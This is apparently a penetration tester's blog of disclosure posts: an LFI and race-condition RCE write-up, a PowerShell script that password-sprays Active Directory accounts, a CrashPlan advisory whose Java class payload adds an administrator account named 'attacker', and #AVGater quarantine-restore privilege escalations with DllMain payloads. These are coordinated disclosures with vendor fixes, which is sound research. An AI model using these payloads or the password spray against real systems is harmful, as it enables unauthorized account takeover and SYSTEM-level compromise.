Sep 242018
 

Have you ever asked yourself how vulnerabilities are discovered and how exploits are written? Well, then this is the perfect video for you. We will start by discussing how so called Fuzzers can be used to find previously unknown bugs in applications. Then we will analyse the generated crash dumps to find out if the underlying issue is exploitable and finally, we will write a fully-fledged exploit.

All this will be demonstrated “live”, based on the example of a well-known application with more than 1 million downloads per month. This is your chance to be part of the disclosure of a previously unknown zero-day vulnerability!

If you have any questions or feedback leave a comment below!

Sep 062018
 

Für die meisten Unternehmen ist es undenkbar selbst “Malware Analyse” zu betreiben. Dennoch reichen oft schon wenige Tricks um relevante Eigenschaften einer Malware (sogenannte IOCs) zu finden. Über diese IP Adressen, Hostnamen, Dateien oder Registry Keys kann anschließend abgeleitet werden, ob und welche Endgeräte im eigenen Netzwerk infiziert wurden.

Im folgenden Video stelle ich einige Methoden und Tools vor, wie auch Sie einfache Analysen selbst vornehmen können und so die Sicherheit in Ihrem Unternehmen mit eigener “Threat Intelligence” erhöhen.

Hier noch eine Liste mit Link zu den im Video genutzten Tools:

  • oledump – Analysiert Office Dateien auf gefährliche Inhalte
  • Process Monitor – Protokolliert die Systemaktivität
  • Process Hacker – Task Manager On Steroids
  • Autoruns – Welche Anwendungen werden beim Systemstart geladen?
  • HashMyFiles – Berechnet den MD5 und SHA1 Hash für eine Datei
Jul 182018
 

Over the last years I painfully realised that IT Security is a very complex topic. Often it is difficult to communicate the scope of certain vulnerabilities and their mitigation strategies to layman’s and sometimes even IT professionals. I guess that’s the reason why many security consultancies don’t even try. But this is not my way!

Hence, I finally started my own business: Bee IT Security Consulting e.U. 

Our goal is to aid organisations in understanding their current security level and to help them take the best next steps for their business. To do that I’m provide security consulting services, including Penetration Testing, Workshops, Awareness and additionally I still love to give talks!

If you want to know more you can visit my new webpage https://www.bee-itsecurity.at (german only) or contact me at florian@bee-itsecurity.at.

Apr 032018
 

As you might have guessed already by the title: I’m not a big fan of web vulnerabilities. Well, actually it is not the fault of the web here, but that I have the feeling the many people are just reporting XSS as if it were super critical. I do fully understand that its consequences can be devastating, but most often they are not. PERIOD.

In this post I want to document an exploit that I discovered during one of my latest pentests. I consider it a great example, that shows that the web can in fact be interesting. By combining several issues it’s often / sometimes / once-in-a-lifetime possible to achieve something really interesting, like a remote code execution. As I can’t discuss the vulnerabilities on the real product (because of legal obligations), I rebuilt the interesting parts myself and pushed them to my race2rce Github repro. So you can try it out yourself it you are curious.

Everything started with the following dirb scan:

As you can see there is a “hidden” directory /Global with directory listing enabled on the target server. Many of the therein identified directories were empty or could only be accessed with valid credentials. However, the folders lic and logviewer were unsecured. Additionally, the file demo.lic could be downloaded.

Let’s start with the folder /Global/logviewer. It’s a simple web page to monitor some kind of log. After selecting one of the listed files, its content is shown. The interesting part is the URL: http://192.168.88.147/Global/logviewer/?file=../logs/fakeapp.1.log. The highlighted parted almost screams for a LFI.

And I was right. By modifying the URL to http://192.168.88.147/Global/logviewer/?file=../../../../../../../../etc/passwd a list of all users was printed.

The big question: Is there anything that is worth reading? Well, let’s check the content of /Global/lic.

It looks like a license viewer where .lic files can be uploaded and checked for validity. By uploading the demo.lic (as previously downloaded) we learn that the license file is not valid (anymore).

The question is, what is this file doing in the background? By abusing the LFI vulnerability we can obtain the underlying source: http://192.168.88.147/Global/logviewer/?file=../lic/index.php

This looks interesting, so let’s analyse the file in detail. In our example here, we can simply use the original file from Github.

The first thing we learn is that there is a magic byte sequence. The file is only processed any further if it starts with “fakeapp”.

After that, the rest of the file is stored with the user provided file name. Because there is no additional path given, the file is saved in the current working directory.

Furthermore, after the license file has been checked it is removed from the server:

Well… this may be vulnerable for a race condition. If we add the magic bytes to any PHP code file, it should be stored in the current working directory with the filename we provide during the upload. If the file is requested at exactly the right time – between it was written to disc and before it is removed – arbitrary PHP commands can be executed. At least that’s the theory.

With that knowledge I started to build a small Python exploit PoC. It uses two threads to abuse the identified race condition. One thread (called writer) tries to upload a malicious PHP license file that can execute arbitrary CLI commands.

The second thread (the main thread) tries to find the right moment to exploit it. The following screenshots shows it in action.

In this blog post I wanted to show that there is more than XSS. Sometimes you have to be creative to find something interesting – like a remote code execution. But please always remember: A vulnerability is only as critical as the data that is exposed on or from the affected system as well as the gained access level.

If you are keen to try it yourself, you can download everything from my race2rce Github repro.

Mar 092018
 

During one of my latest pentest assignments I learned about a standard password widely used within the target organisation. Hence, I wanted to check all functional AD user accounts for said password. Normally I would solve this task by using Metasploit’s smb_login auxiliary module. However, in this case I had no access to my toolkit.

To still solve the task, I came back to good old Powershell. With just a few lines of code I wrote my own login checker. It simply reads a file (user.txt) line by line and tries to authenticate as this user with the given standard password against the domain. Be aware that this is everything but silent! However, sometimes you simply don’t care about flying below the radar and sometimes you just know no-one is watching anyway 😉

Without further due, here’s the code. Maybe it’s of use for someone else.

foreach($line in Get-Content .\user.txt) {
    $username = $line
    $password = "FakeNews"

    # Get current domain using logged-on user's credentials
    $CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName
    
	# Try to connect using the credentials to test
    $domain = New-Object System.DirectoryServices.DirectoryEntry($CurrentDomain,$UserName,$Password)

    if ($domain.name -eq $null)
    {
     write-host  -ForegroundColor Red "[-] User $username"
    }
    else
    {
     write-host -ForegroundColor Green "[+] User $username uses $password"
    }
}

The following screenshot illustrates the expected output.

And don’t forget: Always watch for Fake News in your org

Feb 152018
 

This advisory is about a local privilege escalation vulnerability affecting CrashPlan’s Windows application. It can be abused by any local user to gain full control over the system. It has been verified on a fully patched english Windows 7 x64 running the CrashPlan Windows client version 4.8.2.4.

The underlying issue is that the Windows Service “CrashPlan Backup Service” loads and executes files from the insecure filesystem location C:\ProgramData\CrashPlan.

Amongst others, Java Class files are searched and eventually loaded from there. This results in a CLASS side-loading vulnerability.

The special thing about this folder are the default filesystem ACLs that allow any local user to append new files.

Thereby, it is possible to drop a malicious file. To exploit this issue I built the following Java class:

package org.slf4j.ext;

import java.io.Serializable;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.Date;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.beans.ExceptionListener;

/**
 * Base class for Event Data. Event Data contains data to be logged about an
 * event. Users may extend this class for each EventType they want to log.
 * 
 * @author Ralph Goers
 */
public class EventData implements Serializable {

	static
    {
    try {
    		Runtime rt = Runtime.getRuntime();
			Process pr = rt.exec("cmd.exe /C \"net user attacker Batman42 /add && net localgroup Administrators attacker /add\"");
		} catch (Exception e) {
            e.printStackTrace();
        }
    }

    /**
     * Default Constructor
     */
    public EventData() {
    }
}

To inject our own commands, Java’s Static Initializers are abused. These are immediately executed after the class is being loaded by the JVM. To compile it simply use javac:

javac EventData.java

Finally, drop the compiled Java class file into the to-be-created folder C:\ProgramData\CrashPlan\lang\org\slf4j\ext

After the system is rebooted this Java class is loaded and our code is executed as SYSTEM. In this example the local administrative user attacker was added.

Thereby, a non-admin user is able to fully compromise the local endpoint.

Suggested solution

End-users should update to the latest available version.

Timeline

  • 18.5.2017: The issues has been identified
  • 22.5.2017: The issues has been documented and reported to the vendor
  • 25.5.2017: Vendor confirmed vulnerability and is working on a fix
  • 13.6.2017: New version containing a fix has been released. The release notes have been published here.
  • 15.2.2018: Public disclosure
Nov 102017
 

As you may have noticed, it has been quite still here for a while. This was related to the preparations for this release: A post disclosing a new type of vulnerability, affecting multiple Anti-Virus solutions. To summaries: Today, I’m disclosing an issue, that can be exploited by any local user to gain full control over the endpoint by abusing the restore from quarantine Anti-Virus feature. 

And because every new vulnerability needs its own name and logo, I want to introduce you to #AVGater:

The Basics

But let’s get back on track, by discussing a few Anti-Virus basics. The following diagram shows the inner workings of a typical AV from an unprivileged user’s point of view. There are three different access domains: The kernel mode, the privileged user mode (SYSTEM) and the unprivileged user mode. As shown in the following image, the different components have widely different duties:

Within the context of the unprivileged user there is only the AV user interface. By itself, it has no real power, because its executing within a limited user session. However, by talking to the AV Windows service it can do many things a normal user would not be able too. For example it may be allowed to restore files from the virus quarantine (This could be a hint – Couldn’t it?). Additionally there is kernel component. Most likely it’s doing the real work of checking objects for known threat identifiers.

The Idea

So what’s the real point here? Well, if a non-privileged user would be able to manipulate any of the communication channels that cross security boundaries (unprivileged user mode to privileged user mode or privileged user mode to kernel mode) he could escalate his privileges. But how to do that?

In the case of #AVGater, the answer to this question is: By manipulating the restore process from the virus quarantine:

As shown in the above video, #AVGater can be used to restore a previously quarantined file to any arbitrary filesystem location. This is possible because the restore process is most often carried out by the privileged AV Windows user mode service. Hence, file system ACLs can be circumvented (as they don’t really count for the SYSTEM user). This type of issue is called a privileged file write vulnerability and can be used to place a malicious DLL anywhere on the system. The goal is to side load this library for a legitimate Windows servers by abusing the DLL Search Order:

If this succeeds, arbitrary code can be executed with the help of the DLLMain entry point.

But there is still one very important question still unanswered: How is it possible to tamper with the restore process? The solution are NTFS directory junctions. They are basically symbolic links for directories that can be created by anyone with the help of mklink.

#AVGater in plain english: By abusing NTFS directory junctions, the AV quarantine restore process can be manipulated, so that previously quarantined files can be written to arbitrary file system locations.

Putting it all together

With all this knowledge, we can now paint a complete attack scenario: First a malicious library is moved to the AV quarantine. Then, by abusing directory junctions the original source path is redirected to another destination. Most likely a folder within C:\Program Files or C:\Windows. By restoring the previously quarantined file, the SYSTEM permissions of the AV Windows user mode service are misused, and the malicious library is placed in a folder where the currently signed in user is unable to write to under normal conditions. Because of how the DLL search order works, it is finally loaded by another privileged Windows process. Thereby the code within the DLLMain of the malicious library is executed. Hence, a local non-admin attacker gained full control over the affected endpoint.

Here’s a diagram illustrating the whole process:

 

Who is/was affected?

During the preparation for this public disclosure, several different product have been checked for #AVGater.

The following vendors have already released their fix. However, there are a few more to come!

   
   

 

If anyone finds additional vulnerable products, please contact me. I will report them and update this list as soon as they fixed the issue.

Getting our hands dirty

If you want to know more about how to exploit #AVGator in a real life scenario, I have a good news for you: I already fully documented two exploit vectors:

Additionally, here are the slides of my talk “When your anti virus turns against you” from the IT SECX conference.

How to protect myself?

Generally, it’s pretty simple: Always install updates in a timely manner. However, as some vendors still need a few more days to release their fix, it may take a little till everyone is protected.

Furthermore, as #AVGator can only be exploited if the user is allowed to restore previously quarantined file, I recommend everyone within a corporate environment to block normal users from restoring identified threats. This is wise in any way.

Nov 102017
 

This post is about a local privilege escalation vulnerability in Emsisoft Anti-Malware. It allows any local user to abuse the virus quarantine to get local SYSTEM level access. It has been verified on a fully patched english Windows 7 x64 for Emsisoft Anti-Malware 12.1.0.6970. This issue itself is based on #AVGater, a class of Anti-Virus vulnerabilities related to the handling of quarantined files. 

The underlying issue is that the Emsisoft Anti-Malware’s quarantine interface can be abused to restore files as SYSTEM to any filesystem location. The following screenshot shows the starting point for our attack. We – as a local non-admin user – manually added a malicious version.dll from within an newly created folder (like ~\Desktop\X) into the virus quarantine using the “Add file” button.

This version.dll exports all the same functions as the one from Microsoft. However there is no real functionality within it except a few system calls within its DLLMain that add a new user as soon as it is loaded.

int DllMain(void* hinst, unsigned long* reason, void* reserved) {
	system("cmd /c \"whoami >> C:\\Users\\Public\\user.txt\"");
	exit(1);
	return 0;
}

In the next step we start with the real magic: Windows Junction Points (https://technet.microsoft.com/en-us/library/cc753194%28v=ws.11%29.aspx?f=255&MSPPError=-2147217396)

To do that remove the empty parent folder (~\Desktop\X) and replace it with a junction point using mklink that points to Emsisoft Anti-Malware’s application folder.

To finally trigger the issue simply restore the previously quarantined version.dll. As the original path now contains a junction and the restore process is carried out as SYSTEM our version.dll gets places into the Program Files directory. This clearly proofs the privilege escalation: A normal user should not be able to do that.

Now simply reboot the system. During the start of the automatically loaded “Emsisoft Protection Service” Windows service the malicious version.dll gets loaded and our new user attacker is added to the system.

Suggested solution

It should be impossible to restore files to filesystem locations containing a directory junction. One solution could be to always restore files to a temporary folder first (like the users temp folder) and then let the user-mode application do the move to the final path. Thereby it is guaranteed that files can only be restored to folders where the current user has write permissions.

Timeline

  • 02.12.2016: The issues has been documented and reported
  • 06.12.2016: Vendor was able to reproduce and started to work on a fix
  • 14.12.2016: Fixed in Beta release
  • 15.12.2016: Update pushed into production
  • 11.10.2017: Public release
Nov 102017
 

This post is about a local privilege escalation vulnerability in Malwarebytes Anti-Malware 3. It can be abused by any local user to gain full control over the system. It is based on #AVGater, a class of Anti-Virus vulnerabilities related to the handling of quarantined files. It has been verified on a fully patched english Windows 7 x64 running Malwarebytes Free 3.0.5.1299.

The underlying issue is that the Quarantine feature can be abuse to write arbitrary files to any filesystem location with full SYSTEM level permissions.

The first step in this attack is that a file with the name version.dll has to be quarantined from an otherwise empty folder. A good trick to do so is to simply rename a well-known malware to version.dll. I prepared such a sample here. Download it to ~\Desktop\X\version.dll and trigger a manual scan to get it detected.

As soon as the following dialog is shown, replace the already detected malware with our payload.

The prepared payload mimics the Windows library version.dll. However, instead of providing any real functionality it simply logs the current user to C:\Users\Public\user.txt. You can download the full source here.

int DllMain(void* hinst, unsigned long* reason, void* reserved) {
	system("cmd /c \"whoami >> C:\\Users\\Public\\user.txt\"");
	exit(1);
	return 0;
}

Then finish the quarantine process and reboot the system. Now delete the previously created and now empty folder X and replace it with a directory junction as shown below.

Finally restore the quarantined file.

Because of the directory junction the library version.dll is restored to C:\Program Files\Malwarebytes\Anti-Malware.

After a reboot our “malicious” version.dll is loaded by the Windows service “Malwarebytes Service” (mbamservice.exe). As this service uses the SYSTEM account, we gained full control over the computer. This is also documented as the current user is logged to C:\Users\Public\user.txt.

Suggested solution

It should be impossible to restore files to filesystem locations containing a directory junction.

Timeline

  • 14.1.2017: The issues has been documented and reported
  • 19.1.2017: Vendor starts investigation
  • 26.1.2017: Issue confirmed – Fix implemented
  • 27.3.2017: Update fully deployed
  • 11.10.2017: Public release